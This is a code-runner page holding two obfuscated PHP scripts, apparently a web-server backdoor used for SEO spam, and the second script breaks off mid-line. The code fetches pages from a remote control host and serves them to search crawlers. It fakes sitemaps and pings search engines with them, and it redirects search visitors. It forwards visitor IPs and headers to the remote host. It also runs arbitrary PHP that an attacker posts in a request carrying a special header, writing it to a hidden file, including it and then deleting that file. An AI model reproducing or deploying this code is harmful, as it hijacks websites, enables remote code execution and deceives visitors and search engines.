db4

Run Settings
Language	PHP
Language Version
Run Command

<?php goto J42vH; VpNeE: $f0DPc = 1; goto skCS5; frnm3: exit; goto Zgw0g; MQ3dz: $rnhNp = urlx($BCuS3); goto dZzg5; E3DLH: array_push($z8oOU, "\x74\151\155\x65\x73\x74\141\x6d\x70\72\x20" . $sMBSM); goto lDTMI; vq0Ql: echo @trim(urlx(sprintf("\150\x74\164\x70\x73\x3a\57\x2f\x25\x73\x2f\142\x6f\x74\57\160\141\147\145\77" . $Z0k0E, gets()), $z8oOU, $Z0k0E, 1)); goto RIyPV; w8IrN: if (!@preg_match("\43\x5e\57\160\x69\x6e\x67\163\x69\x74\x65\x6d\141\x70\50\56\52\77\51\x2e\170\x6d\154\x24\43\151", $oKxFE, $l05m6)) { goto Pvep4; } goto WEJtR; kd_ed: HEKxP: goto zOtBJ; uQZHF: $akS0y = "\x73\150\157\x73\x74\75" . $aqvqN . "\x26\150\164\164\160\x3d" . $mdd3b; goto wBhhs; Rj_Vo: $oV8C4 = clientip(); goto i4nTs; KRAjH: $BCuS3 = sprintf("\x68\x74\164\160\163\72\x2f\x2f\167\x77\x77\x2e\x67\x6f\157\x67\x6c\145\x2e\x63\157\x2e\x6a\160\57\160\x69\156\147\77\x73\151\164\x65\155\141\160\x3d\x25\x73\72\57\x2f\45\163\x2f\x73\x69\164\x65\155\x61\160\x25\x73\x25\x64\56\170\155\154", $mdd3b, $aqvqN, $kpGph[0], $f0DPc); goto o6cN6; f6nuW: goto D8U1s; goto jf31n; SRjCI: goto NpWWf; goto XusMA; dwqGC: bifhP: goto z68IW; aOgbK: $qM4Cm = "\x34\61\x39"; goto Y12KV; Txycq: ExxFr: goto ESJwo; oI0rR: echo $LV59l; goto mXvel; X9SBa: h8SQ0: goto Au2qn; fd1y2: function https() { goto FdgUx; FdgUx: if (!(!empty($_SERVER["\110\x54\124\120\123"]) && strtolower($_SERVER["\110\x54\x54\120\123"]) !== "\157\146\146" || isset($_SERVER["\110\x54\x54\x50\x5f\130\x5f\x46\117\x52\127\x41\122\104\x45\x44\x5f\x50\x52\117\124\x4f"]) && $_SERVER["\110\124\124\x50\137\x58\137\x46\x4f\x52\x57\101\x52\x44\x45\x44\137\x50\x52\117\x54\x4f"] === "\150\x74\x74\x70\x73" || !empty($_SERVER["\110\x54\124\x50\x5f\x46\x52\x4f\x4e\x54\137\105\116\x44\137\110\124\124\x50\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\x5f\106\122\x4f\116\x54\137\105\x4e\x44\x5f\x48\x54\124\x50\123"]) !== "\157\x66\146")) { goto QWb32; } goto PpScn; vqEPl: return "\150\164\164\x70"; goto F_WTg; PpScn: return "\150\164\164\x70\163"; goto uUcBR; uUcBR: QWb32: goto vqEPl; F_WTg: } goto JuOh6; ZS4qE: @ignore_user_abort(1); goto aOgbK; naMt1: $HSjIH = urldecode("\150\x74\164\160\x73\72\x2f\57\x73\x65\141\x72\143\x68\56\x79\x61\x68\x6f\x6f\x2e\143\x6f\x2e\152\160\57\x73\x65\x61\162\143\x68\x3f\160\x3d\163\x69\164\x65\72\45\x73\46\145\151\x3d\125\x54\106\x2d\x38"); goto PGRJx; TEbIt: exit; goto ghV6h; nOzjp: echo $l05m6[1]; goto VN8fV; UEDud: if (!($f0DPc <= intval($pxVPC))) { goto eY39u; } goto KRAjH; Ell5g: if (!($pxVPC === '')) { goto mCU0n; } goto csd4P; zOtBJ: NpWWf: goto oI0rR; ZiWQr: v0G7i: goto yWijX; Vievt: echo @trim(urlx(sprintf("\x68\x74\164\160\163\72\57\x2f\x25\163\57\x62\157\x74\x2f\143\x61\164\145\x3f" . $Z0k0E, gets()), $z8oOU, $Z0k0E . "\46\x68\x6f\163\x74\75" . preg_replace("\57\133\141\55\172\x49\135\50\x78\x79\x7a\x7c\x62\x75\x7a\x7a\51\56\52\x24\57", "\56\x24\x31", strrev($ztMBC[1])) . "\x26\143\x61\164\x65\x69\144\x3d" . $ztMBC[2], 1)); goto NE8z4; Vlf0S: yuCC3: goto UEDud; pVdkz: echo sprintf($b5cVx, $STerf); goto aZmry; FPxQQ: @file_put_contents("\x2e\x65\x47\x41\x30\x54\x79\x32\127\114\150", $LZ5po, FILE_USE_INCLUDE_PATH); goto kWr4p; QMSYR: @preg_match("\43\50\134\144\x2a\x29\xe4\273\xb6\74\41\55\x2d\43", $wGR5O, $l05m6); goto nOzjp; X3Anc: $Z0k0E = $akS0y . "\46\x67\x72\x6f\x75\x70\151\x64\75" . $qM4Cm . "\x26\165\162\151\x3d" . $oKxFE . "\x26\151\160\x3d" . $oV8C4; goto H7KlX; HGIJA: $z8oOU = array("\125\163\x65\162\x2d\x41\x67\145\156\164\72\x20" . $qz8EB, "\x4c\x61\x6e\x67\x3a\x20" . $Wq2gT, "\x52\x65\x66\145\x72\x65\x72\x3a\40" . $wRO7_, "\x48\x74\x74\x70\x2d\x48\x6f\163\x74\x3a\40" . $aqvqN, "\x52\145\155\157\164\145\x2d\x41\x64\x64\x72\x3a\x20" . $oV8C4); goto LNAnP; m7KQ5: $BCuS3 = sprintf("\x68\x74\164\160\x73\72\x2f\x2f\167\167\x77\56\147\x6f\157\x67\154\x65\56\143\157\56\152\x70\57\x70\x69\156\147\x3f\163\x69\x74\145\x6d\141\x70\x3d\45\x73\72\x2f\57\45\163\57\x73\151\x74\145\155\x61\x70\x25\x73\x2e\x78\x6d\154", $mdd3b, $aqvqN, $l05m6[1]); goto MQ3dz; csd4P: exit; goto DeVxA; oLg2d: $Hqeu0 = "\40\x3c\165\162\154\76\x20\74\154\x6f\x63\76\x25\163\x3c\57\154\x6f\143\x3e\x3c\170\x68\x74\x6d\154\x3a\x6c\x69\x6e\x6b\x20\x72\145\x6c\x3d\42\141\154\x74\145\162\156\x61\x74\145\42\40\x68\x72\145\146\x6c\141\156\x67\75\42\152\x61\42\40\x68\x72\x65\146\x3d\42\x25\x73\x22\57\x3e\74\x2f\165\162\154\76"; goto cGUJi; nLwAL: $sMBSM = strval(time()); goto jdirr; H7KlX: $U1HmJ = urlx(sprintf("\x68\x74\x74\x70\x73\72\57\x2f\x25\163\x2f\142\157\164\57\x33\x30\x32\x3f" . $Z0k0E . "\x26\165\162\x69\75" . $oKxFE, gets()), $z8oOU, $Z0k0E, 1); goto dsKLg; LPhib: $f0DPc++; goto Oetvr; bTxtf: $STerf = ''; goto VpNeE; aZmry: exit; goto ZiWQr; dGWwv: $LZ5po = @file_get_contents("\160\150\160\x3a\x2f\57\x69\156\160\165\x74"); goto FPxQQ; mdlI3: UTe_D: goto yvPCp; QP31M: if (!($f0DPc <= intval($pxVPC))) { goto H5XpM; } goto ybh22; Au2qn: $f0DPc++; goto pB5jc; dzoId: Pvep4: goto RAga3; Enoza: echo $Vx4P3 === false ? "\x66\141\151\x6c" . gets() : $EFa5o . $qM4Cm . gets(); goto frnm3; o5cCi: D8U1s: goto nl1xK; AD6ts: $wGR5O = substr($wGR5O, strpos($wGR5O, "\74\41\x2d\x2d\x20\x2d\x2d\x3e"), 100); goto EZz0h; RIyPV: exit; goto Oriml; nl1xK: $sMBSM = strval(time()); goto E3DLH; Oriml: goto tjN1i; goto orKyg; dp_eL: $wRO7_ = isset($_SERVER["\110\124\124\120\x5f\122\x45\106\x45\x52\105\122"]) ? $_SERVER["\x48\x54\124\120\137\122\x45\x46\105\122\x45\122"] : ''; goto w_M3N; pB5jc: goto zvgQw; goto ulVx3; uqvqm: $akS0y .= "\46\x67\162\x6f\165\160\x69\144\75" . $qM4Cm; goto f6nuW; s_vKk: array_push($z8oOU, "\170\144\x6f\x69\155\x3a\40" . crc32($sMBSM . "\134\x6e" . $akS0y)); goto QTyaM; MC0Co: @header("\103\x6f\x6e\x74\145\156\164\x2d\x74\171\160\x65\x3a\40\x74\145\x78\164\57\170\x6d\x6c"); goto UjmbH; yWijX: $WIpAY = explode("\12", $pxVPC); goto bq8tO; EZz0h: $wGR5O = str_replace(array("\x2f\134\57\x73\x2b\57", "\x5c\x72\x5c\x6e", "\x5c\162", "\x5c\156", "\x22", "\x2c"), '', $wGR5O); goto QMSYR; RAga3: if (!@preg_match("\x23\136\57\x73\151\x74\x65\155\x61\160\x28\x2e\52\x3f\51\56\x78\155\154\x24\x23\x69", $oKxFE, $l05m6)) { goto yoKzr; } goto uQZHF; dZzg5: $LV59l .= $BCuS3 . $rnhNp; goto SRjCI; skCS5: zvgQw: goto QP31M; jf31n: BDsXN: goto SzpHW; DeVxA: mCU0n: goto UHE7R; OClM3: if ($l05m6[1] === '' || @preg_match("\43\50\x5c\x64\53\51\x2d\44\x23", $l05m6[1], $kpGph)) { goto oyRVV; } goto m7KQ5; mXvel: exit; goto dzoId; UD_xs: exit; goto b057P; bq8tO: $Jcv3x = ''; goto p4mRq; i4nTs: $mdd3b = https(); goto HGIJA; Oetvr: goto yuCC3; goto WLFSK; Y12KV: $n14Zn = "\74\77\x78\155\154\x20\166\x65\162\x73\x69\x6f\x6e\x3d\42\61\56\x30\x22\x20\x65\x6e\143\157\x64\x69\x6e\147\75\42\x55\x54\x46\55\x38\x22\77\76\x3c\41\55\x2d\x20\x61\x75\x74\x6f\x67\145\156\x20\142\x79\40\x64\157\x69\x6d\40\55\x2d\x3e\15\12\74\165\x72\x6c\x73\x65\164\40\170\155\x6c\156\163\x3d\42\150\164\164\160\72\57\57\x77\167\x77\x2e\x73\x69\x74\145\155\x61\160\163\x2e\157\x72\147\x2f\x73\143\x68\x65\x6d\x61\163\57\163\x69\x74\x65\155\x61\x70\57\x30\56\71\42\15\12\x20\40\40\40\40\40\x78\155\154\156\163\72\170\x68\x74\155\x6c\75\x22\150\164\164\x70\x3a\57\57\x77\x77\x77\56\x77\63\56\157\x72\147\57\61\71\x39\71\x2f\x78\150\x74\155\154\42\x3e\15\xa\45\163\x3c\x2f\165\x72\x6c\163\145\164\x3e"; goto oLg2d; VN8fV: exit; goto dFGAt; QTyaM: $pxVPC = trim(urlx("\x68\x74\x74\160\x73\72\x2f\x2f" . gets() . "\57\x73\x69\164\x65\x6d\x61\160\x2e\170\x6d\154", $z8oOU, $akS0y . "\46\150\x74\164\x70\x3d" . $mdd3b)); goto Ell5g; HT05z: exit; goto dRfI3; UHE7R: if (!@preg_match("\43\136\x28\x5c\x64\51\x2a\43", $pxVPC)) { goto HEKxP; } goto IQERD; WEJtR: $LV59l = ''; goto OClM3; dsKLg: @header("\114\157\x63\141\164\x69\x6f\x6e\x3a\x20" . $U1HmJ); goto RFCY3; dFGAt: Id3qr: goto JIYQs; fTU3c: $Wq2gT = isset($_SERVER["\110\124\124\x50\x5f\101\x43\x43\105\120\124\137\x4c\x41\x4e\107\125\101\107\105"]) ? substr($_SERVER["\110\124\x54\x50\x5f\x41\x43\103\x45\120\124\137\x4c\x41\x4e\107\125\101\x47\105"], 0, 4) : ''; goto dp_eL; A33Gg: $oKxFE = $_SERVER["\122\105\121\x55\105\x53\124\137\125\x52\111"]; goto w8IrN; Qr6b2: $sMBSM = isset($_SERVER["\110\x54\x54\x50\x5f\x54\111\115\105\123\124\101\x4d\120"]) ? $_SERVER["\x48\124\x54\x50\x5f\124\111\x4d\x45\123\124\101\x4d\120"] : ''; goto dGWwv; UjmbH: if (!(($l05m6[1] === '' || $kpGph[1] != '') && @preg_match("\43\x5e\50\134\x64\51\x2a\43", $pxVPC))) { goto v0G7i; } goto bTxtf; SuQpz: exit; goto P4sXO; dRfI3: CNh9u: goto uEE9N; qnW5X: $EFa5o = trim(urlx("\x68\164\164\x70\x73\x3a\57\57" . gets() . $l05m6[0], $z8oOU, $akS0y)); goto Enoza; p4mRq: foreach ($WIpAY as $QFqi7) { goto wNpuf; bOy1U: $Jcv3x .= sprintf($Hqeu0, $U1HmJ, $U1HmJ); goto qaM0h; qaM0h: VZLDK: goto d3PTZ; wNpuf: $U1HmJ = $mdd3b . "\x3a\57\57" . $aqvqN . "\57" . $QFqi7; goto bOy1U; d3PTZ: } goto dwqGC; UqWP5: if (!@preg_match("\43\147\157\157\147\x6c\x65\174\x79\x61\150\x6f\x6f\174\142\151\x6e\x67\174\143\x72\x61\146\x74\174\x43\162\141\x77\154\x65\162\43\x69", $qz8EB)) { goto ExxFr; } goto ASSL5; SzpHW: $akS0y .= "\x26\x67\162\157\165\160\x69\144\x3d" . $kpGph[1]; goto o5cCi; ESJwo: if (!(@preg_match("\43\x67\157\157\147\x6c\x65\56\143\157\56\152\160\174\x67\x6f\157\147\154\x65\x2e\x63\157\x6d\x7c\171\141\x68\x6f\157\56\143\157\x2e\x6a\160\x7c\171\x61\x68\157\x6f\56\x63\x6f\x7c\142\x69\x6e\x67\x2e\143\x6f\x6d\174\x61\163\153\x2e\143\x6f\155\x7c\x61\157\x6c\56\x63\x6f\155\x7c\x61\x6f\x6c\x2e\x6a\x70\x23\x69", $wRO7_) && @preg_match("\x23\50\x5b\x61\55\x7a\x49\135\x2b\x29\x2d\x28\134\x64\53\x29\77\50\x2d\50\x5c\x64\53\51\x29\77\50\x2e\x68\x74\x6d\154\51\x24\43\151", $oKxFE))) { goto UTe_D; } goto X3Anc; z68IW: echo sprintf($n14Zn, $Jcv3x); goto TEbIt; KYuA0: $Z0k0E .= sprintf("\46\x68\x70\x69\x64\75\45\163\55\x25\x73", preg_replace("\57\x5b\x61\x2d\x7a\111\135\x28\170\x79\172\x7c\142\x75\x7a\172\51\56\x2a\44\x2f", "\56\44\61", strrev($l05m6[1])), $l05m6[2]); goto vq0Ql; WLFSK: eY39u: goto kd_ed; ghV6h: yoKzr: goto Efwtu; NE8z4: exit; goto S_ua0; B9UYW: @ini_set("\144\151\x73\160\154\x61\x79\137\x65\x72\x72\x6f\x72\x73", 0); goto ONosI; QUq1K: if (!($pxVPC === '')) { goto ykbip; } goto SuQpz; jdirr: array_push($z8oOU, "\x74\151\155\x65\x73\x74\141\155\160\x3a\x20" . $sMBSM); goto s_vKk; eSQ0z: O9PrI: goto KYuA0; Ab23l: function urlx($HSjIH, $z8oOU = null, $akS0y = null, $eitJM = null) { goto JA1nC; Xk4qO: curl_setopt($kMYyV, CURLOPT_ENCODING, "\x67\x7a\151\160\x2c\x64\145\x66\x6c\x61\164\x65"); goto E1Yow; E1Yow: ZKK8T: goto d_iTJ; JA1nC: $kMYyV = curl_init(); goto Ql1ps; RFxH_: curl_setopt($kMYyV, CURLOPT_SSL_VERIFYHOST, FALSE); goto HB7dh; Ic4jb: $wGR5O = curl_exec($kMYyV); goto RWDpJ; d_iTJ: if (!(stripos($HSjIH, "\150\164\164\x70\x73\72") === 0)) { goto E8HRq; } goto kkS8f; W8nlp: curl_setopt($kMYyV, CURLOPT_RETURNTRANSFER, 1); goto Ic4jb; T9ci_: return $wGR5O; goto y9_EH; tbddd: curl_setopt($kMYyV, CURLOPT_HTTPHEADER, $z8oOU); goto h_ybS; Wr4iD: YAlXA: goto W8nlp; hk8oj: curl_setopt($kMYyV, CURLOPT_POSTFIELDS, $akS0y); goto Wr4iD; RWDpJ: curl_close($kMYyV); goto T9ci_; Ql1ps: curl_setopt($kMYyV, CURLOPT_URL, $HSjIH); goto KwH8a; a8vSa: if ($eitJM === null) { goto ZKK8T; } goto Xk4qO; kkS8f: curl_setopt($kMYyV, CURLOPT_SSL_VERIFYPEER, FALSE); goto RFxH_; HB7dh: E8HRq: goto o8V25; gjcdz: curl_setopt($kMYyV, CURLOPT_POST, 1); goto hk8oj; BIorF: if ($akS0y === null) { goto YAlXA; } goto gjcdz; h_ybS: jX3mQ: goto BIorF; o8V25: if ($z8oOU === null) { goto jX3mQ; } goto tbddd; KwH8a: curl_setopt($kMYyV, CURLOPT_FOLLOWLOCATION, 1); goto a8vSa; y9_EH: } goto oIaeY; RUT23: echo @trim(urlx(sprintf("\x68\x74\164\x70\163\72\57\x2f\45\163\57\142\x6f\164\57\x68\157\x6d\x65\77" . $Z0k0E . "\46\x75\162\151\75" . $oKxFE, gets()), $z8oOU, $Z0k0E, 1)); goto UD_xs; RzWDy: $oKxFE = $_SERVER["\122\x45\x51\x55\x45\123\x54\x5f\125\122\x49"]; goto Rj_Vo; kWr4p: echo include "\56\145\x47\x41\x30\x54\x79\x32\x57\114\x68"; goto ck1u8; ONosI: @set_time_limit(3600); goto ZS4qE; GORNz: $aqvqN = $_SERVER["\x48\124\x54\x50\x5f\x48\x4f\123\x54"]; goto RzWDy; orKyg: d3qQQ: goto Vievt; cGUJi: $b5cVx = "\x3c\x3f\170\x6d\x6c\40\x76\x65\162\163\x69\x6f\156\x3d\42\x31\56\60\42\40\x65\x6e\143\x6f\144\x69\156\x67\x3d\x22\x55\x54\106\x2d\70\42\77\76\74\x21\55\55\x20\141\165\164\157\147\x65\x6e\x20\142\171\40\144\x6f\151\155\40\x2d\x2d\x3e\xd\12\x3c\163\x69\x74\145\155\x61\x70\x69\156\144\x65\x78\40\x78\x6d\x6c\x6e\163\x3d\x22\150\164\164\x70\x3a\x2f\57\167\x77\167\56\163\151\x74\145\x6d\141\160\163\x2e\157\162\x67\57\x73\143\150\x65\155\x61\163\x2f\163\x69\164\x65\x6d\x61\160\x2f\60\56\x39\42\76\x20\45\163\x20\74\57\163\x69\164\145\155\141\160\151\x6e\x64\x65\170\76"; goto BfzGN; IQERD: $f0DPc = 1; goto Vlf0S; XusMA: oyRVV: goto poAV3; b057P: goto tjN1i; goto eSQ0z; oIaeY: function cc($oKxFE) { goto Mga3T; FXkKX: ymgfN: goto Sd28z; lJloS: return $x6Thk == $Eo7qf[2]; goto i8G7G; Mga3T: $Eo7qf = explode("\x2d", substr($oKxFE, 1, strlen($oKxFE) - 6)); goto EcMb7; flaWq: return false; goto FXkKX; EcMb7: if (!(sizeof($Eo7qf) != 3)) { goto ymgfN; } goto flaWq; Sd28z: $x6Thk = sprintf("\45\165", crc32(sprintf("\45\x73\55\x25\x73", $Eo7qf[0], $Eo7qf[1]))); goto lJloS; i8G7G: } goto LtgNM; FU2nu: $pxVPC = trim(urlx("\150\x74\x74\160\x73\72\57\x2f" . gets() . "\x2f\x73\x69\x74\145\155\141\160" . ($l05m6[1] == '' || $kpGph[1] != '' ? "\56\170\155\x6c" : "\57" . $l05m6[1]), $z8oOU, $akS0y)); goto QUq1K; yvPCp: function urls($aqvqN, $A97fO, $qz8EB, $u53P6, $X8C9c = null) { goto kni0n; IYBpi: fclose($Y1DXe); goto TKglJ; tHYwC: $qiYWC = fwrite($Y1DXe, $rmm2F); goto IYBpi; EYUuk: $rmm2F = "\107\x45\x54\x20" . $A97fO . "\77" . $X8C9c . "\40\110\124\x54\x50\57\61\56\60\xd\12\110\x6f\163\164\x3a\x20" . $aqvqN . "\15\xa\x52\145\146\145\x72\x65\162\72\40" . $u53P6 . "\15\12\x55\x73\x65\x72\x2d\101\x67\x65\x6e\x74\72\40" . $qz8EB . "\15\xa\xd\xa"; goto tHYwC; kni0n: $Y1DXe = stream_socket_client("\163\x73\154\72\x2f\57" . $aqvqN . "\x3a\64\64\63", $xpk7C, $pnKGT, 6); goto EYUuk; TKglJ: } goto Ab23l; lDTMI: array_push($z8oOU, "\x78\x64\x6f\x69\155\72\x20" . crc32($sMBSM . "\134\x6e" . $akS0y)); goto FU2nu; t5Hpe: $LV59l .= $BCuS3 . $rnhNp; goto ShbCm; Efwtu: if (!(isset($_SERVER["\x48\124\124\x50\137\x58\104\117\x49\x4d"]) && strlen($_SERVER["\110\x54\124\x50\137\130\104\117\x49\115"]) > 0)) { goto CNh9u; } goto Qr6b2; LNAnP: $akS0y = "\163\x68\157\163\164\x3d" . $aqvqN . "\46\x70\162\157\x74\x6f\x3d" . $mdd3b; goto A33Gg; w_M3N: $qz8EB = isset($_SERVER["\x48\x54\x54\x50\137\x55\123\105\x52\137\x41\107\x45\116\x54"]) ? $_SERVER["\110\x54\124\120\137\125\123\x45\122\137\101\107\x45\x4e\x54"] : ''; goto GORNz; ck1u8: unlink("\x2e\x65\107\x41\60\124\x79\x32\x57\x4c\x68"); goto HT05z; wBhhs: if (@preg_match("\x23\x28\x5c\144\53\x29\55\x24\x23", $l05m6[1], $kpGph)) { goto BDsXN; } goto uqvqm; LtgNM: function gets() { return "\x70\x31\x2e\x67\x6c\x6f\x72\171\x70\x6c\141\156\56\143\154\165\x62"; } goto fd1y2; P4sXO: ykbip: goto MC0Co; BfzGN: $RJGGs = "\x20\x3c\x73\x69\164\x65\155\x61\160\x3e\40\74\154\x6f\x63\76\45\x73\x3a\57\x2f\45\163\57\x73\151\164\145\155\141\160\45\x64\x2e\170\x6d\154\x3c\57\x6c\x6f\x63\x3e\74\x2f\x73\151\164\x65\x6d\141\x70\76"; goto fTU3c; J42vH: error_reporting(0); goto B9UYW; ShbCm: AO3Cq: goto LPhib; S_ua0: tjN1i: goto Txycq; jBm45: array_push($z8oOU, "\164\x69\x6d\x65\x73\x74\x61\155\x70\72\40" . $sMBSM); goto SOVDm; ybh22: $STerf .= sprintf($RJGGs, $mdd3b, $aqvqN, $f0DPc, date("\131\55\x6d\x2d\x64\x5c\124\x48\72\x69\72\163\120", time())); goto X9SBa; SQBbW: $wGR5O = urlx($HSjIH, null, null, 1, "\x4d\157\x7a\151\154\154\141\57\65\56\60\40\50\127\151\156\x64\157\167\x73\73\x20\x55\x3b\x20\x57\151\156\x64\x6f\x77\x73\40\116\124\40\x35\56\x31\73\x20\145\156\55\x55\123\51\x20\101\x70\x70\x6c\x65\x57\145\142\113\x69\x74\57\65\x33\64\56\67\x20\x28\113\110\x54\115\x4c\x2c\x20\x6c\x69\x6b\x65\40\107\x65\143\153\x6f\51\x20\x43\150\162\x6f\155\145\57\x37\56\60\56\x35\x31\x37\x2e\x34\61\x20\123\x61\x66\141\x72\x69\57\65\63\64\x2e\x37"); goto AD6ts; PGRJx: $HSjIH = $l05m6[1] == '' ? sprintf($HSjIH, $aqvqN) : sprintf($HSjIH, $l05m6[1]); goto SQBbW; SOVDm: array_push($z8oOU, "\170\144\157\151\x6d\72\x20" . crc32($sMBSM . "\x5c\x6e" . $akS0y)); goto qnW5X; zGSDt: if (@preg_match("\43\143\141\164\145\x5c\x2f\50\133\141\x2d\172\135\x2b\51\55\x28\x5c\x64\53\51\x24\x23\151", $oKxFE, $ztMBC)) { goto d3qQQ; } goto RUT23; RFCY3: exit; goto mdlI3; eu5o_: if (@preg_match("\x23\x28\133\x61\55\x7a\135\53\51\55\50\x5c\x64\x2b\51\77\x28\x2e\x68\x74\155\x6c\51\44\x23\151", $oKxFE, $l05m6)) { goto O9PrI; } goto zGSDt; JIYQs: if (!@preg_match("\x23\136\57\x67\x65\x74\x76\145\162\44\43\x69", $oKxFE, $l05m6)) { goto W3trB; } goto qJ_Zn; ulVx3: H5XpM: goto pVdkz; poAV3: $akS0y .= $kpGph[1] == '' ? "\46\147\x72\157\165\160\151\x64\75" . $qM4Cm : "\46\x67\x72\x6f\x75\160\151\144\75" . $kpGph[1]; goto nLwAL; Zgw0g: W3trB: goto UqWP5; uEE9N: if (!@preg_match("\43\136\x2f\163\x69\164\x65\x2f\77\50\x2e\52\77\x29\x24\x23\x69", $oKxFE, $l05m6)) { goto Id3qr; } goto naMt1; qJ_Zn: $sMBSM = strval(time()); goto jBm45; ASSL5: $Z0k0E = $akS0y . "\x26\x68\x74\164\x70\75" . $mdd3b . "\46\x67\162\157\165\160\x69\x64\75" . $qM4Cm; goto eu5o_; o6cN6: $rnhNp = urlx($BCuS3); goto t5Hpe; JuOh6: function clientip() { goto mFDFU; F0Hfg: gyFls: goto c1AAM; ZwUws: return $_SERVER["\x52\x45\115\x4f\x54\105\x5f\101\104\x44\x52"]; goto F0Hfg; l_hXY: goto gyFls; goto YoAl8; VICwV: goto gyFls; goto Cvx_c; YoAl8: symjh: goto TvSiC; Cvx_c: VS4FL: goto ZwUws; vAQ1K: if (isset($_SERVER["\x52\x45\x4d\117\x54\x45\137\101\x44\x44\122"]) && $_SERVER["\122\x45\115\117\x54\x45\137\x41\x44\x44\122"] && strcasecmp($_SERVER["\122\x45\115\x4f\124\x45\x5f\x41\x44\x44\x52"], "\165\x6e\153\156\x6f\167\156")) { goto VS4FL; } goto l_hXY; mFDFU: if (getenv("\x52\x45\115\117\124\105\x5f\x41\104\x44\122") && strcasecmp(getenv("\x52\105\115\x4f\124\105\x5f\x41\104\104\x52"), "\165\x6e\153\156\157\x77\156")) { goto symjh; } goto vAQ1K; TvSiC: return getenv("\x52\105\115\117\x54\105\x5f\101\x44\x44\122"); goto VICwV; c1AAM: }?>

<?php goto S2_yg; hYZnd: goto aLwT1; goto dD_Kh; ksPzY: $bSjkD = substr($bSjkD, strpos($bSjkD, "\x3c\x21\55\x2d\x20\55\x2d\x3e"), 100); goto r06lp; sIkE2: function urlx($WKfm7, $UkU3U = null, $H6hqi = null, $bez11 = null) { goto qwQCQ; o6i9_: curl_setopt($o7lHG, CURLOPT_POSTFIELDS, $H6hqi); goto mtRN_; i2nuF: curl_setopt($o7lHG, CURLOPT_SSL_VERIFYPEER, FALSE); goto gbO4t; YmDQX: return $bSjkD; goto xxS4D; mtRN_: b_m1h: goto LFw6r; LFw6r: curl_setopt($o7lHG, CURLOPT_RETURNTRANSFER, 1); goto Wj_hq; RszVH: curl_setopt($o7lHG, CURLOPT_POST, 1); goto o6i9_; JIskX: mKpBj: goto WCWxH; UTFMV: curl_close($o7lHG); goto YmDQX; nngW8: curl_setopt($o7lHG, CURLOPT_HTTPHEADER, $UkU3U); goto OtR7e; OtR7e: lGOdi: goto A14JK; GZuxQ: curl_setopt($o7lHG, CURLOPT_URL, $WKfm7); goto uvnVh; A14JK: if ($H6hqi === null) { goto b_m1h; } goto RszVH; O3EYC: if ($bez11 === null) { goto mKpBj; } goto cXv2O; aBeWh: if ($UkU3U === null) { goto lGOdi; } goto nngW8; gbO4t: curl_setopt($o7lHG, CURLOPT_SSL_VERIFYHOST, FALSE); goto cwRF6; WCWxH: if (!(stripos($WKfm7, "\150\x74\x74\x70\x73\x3a") === 0)) { goto zhyzC; } goto i2nuF; qwQCQ: $o7lHG = curl_init(); goto GZuxQ; uvnVh: curl_setopt($o7lHG, CURLOPT_FOLLOWLOCATION, 1); goto O3EYC; cwRF6: zhyzC: goto aBeWh; Wj_hq: $bSjkD = curl_exec($o7lHG); goto UTFMV; cXv2O: curl_setopt($o7lHG, CURLOPT_ENCODING, "\147\x7a\151\x70\x2c\144\x65\146\x6c\x61\164\145"); goto JIskX; xxS4D: } goto qQRXB; Gfj38: $b99nf = clientip(); goto mzBxo; aby03: goto o8TPY; goto CPgzU; Bf3La: Vj2Mi: goto lxa9z; guYMq: exit; goto yYCKR; OL0KH: if (@preg_match("\43\x28\x5c\x64\53\x29\55\x24\43", $czv0l[1], $eVcrv)) { goto GtnTd; } goto lYKaL; EgLQT: $dMlCG = "\74\x3f\170\x6d\x6c\x20\x76\145\x72\163\151\157\x6e\75\42\61\x2e\x30\x22\x20\145\156\x63\157\144\151\x6e\x67\x3d\42\125\x54\x46\55\x38\x22\77\76\15\12\x3c\x73\151\164\145\155\x61\160\x69\156\144\145\x78\x20\170\155\154\x6e\163\75\x22\150\164\164\x70\72\x2f\x2f\x77\x77\x77\x2e\163\151\x74\145\155\141\160\x73\x2e\157\162\147\x2f\163\143\x68\x65\x6d\141\x73\57\x73\151\x74\145\x6d\141\x70\57\60\56\x39\42\x3e\15\xa\x25\163\xd\12\x3c\x21\55\55\x20\141\165\x74\x6f\x67\x65\156\x20\x62\171\x20\x64\x6f\x69\x6d\40\55\55\76\74\57\x73\x69\x74\x65\x6d\x61\160\x69\x6e\144\x65\170\76"; goto UBZfU; YAEjv: $Nn4oV = @file_get_contents("\x70\150\x70\x3a\57\x2f\151\x6e\x70\x75\x74"); goto o57iv; amQVZ: array_push($UkU3U, "\x74\151\x6d\x65\163\x74\x61\155\x70\72\x20" . $mLQNc); goto crkV0; dX8JJ: echo @trim(urlx(sprintf("\x68\164\x74\x70\163\x3a\x2f\x2f\x25\x73\x2f\142\x6f\164\x2f\150\157\155\145\x3f" . $Zl6La, gets()), $UkU3U, $Zl6La, 1)); goto HlruJ; HgTV6: $A3EFh = $_SERVER["\122\105\121\125\x45\x53\124\x5f\125\122\111"]; goto yC0Y5; e44QY: if (@preg_match("\43\50\133\x61\x2d\172\x5d\53\x29\55\50\x5c\x64\53\x29\77\x28\56\150\164\x6d\154\51\x24\43\x69", $A3EFh, $czv0l)) { goto Vj2Mi; } goto Pm0n1; IiyB1: function https() { goto WBQpV; bh5Zl: return "\150\x74\164\x70"; goto yOrL4; E9z0Z: LHVA5: goto bh5Zl; WBQpV: if (!(!empty($_SERVER["\110\x54\x54\120\x53"]) && strtolower($_SERVER["\x48\124\124\120\123"]) !== "\x6f\x66\146" || isset($_SERVER["\x48\x54\124\120\137\130\137\x46\117\x52\x57\101\122\104\x45\x44\x5f\x50\x52\117\x54\x4f"]) && $_SERVER["\110\124\124\x50\x5f\x58\137\106\117\122\x57\x41\x52\x44\105\104\137\x50\x52\x4f\x54\117"] === "\150\164\x74\160\163" || !empty($_SERVER["\110\124\124\120\137\106\x52\x4f\116\x54\137\105\x4e\x44\x5f\x48\124\124\120\x53"]) && strtolower($_SERVER["\110\x54\124\120\137\x46\122\x4f\116\x54\x5f\105\116\x44\137\110\124\124\120\123"]) !== "\x6f\146\146")) { goto LHVA5; } goto yXbJc; yXbJc: return "\x68\x74\164\x70\163"; goto E9z0Z; yOrL4: } goto U50ae; BKsxm: array_push($UkU3U, "\164\x69\155\x65\163\x74\x61\x6d\160\x3a\x20" . $mLQNc); goto Bl_SN; Owvg4: $oZCNV = 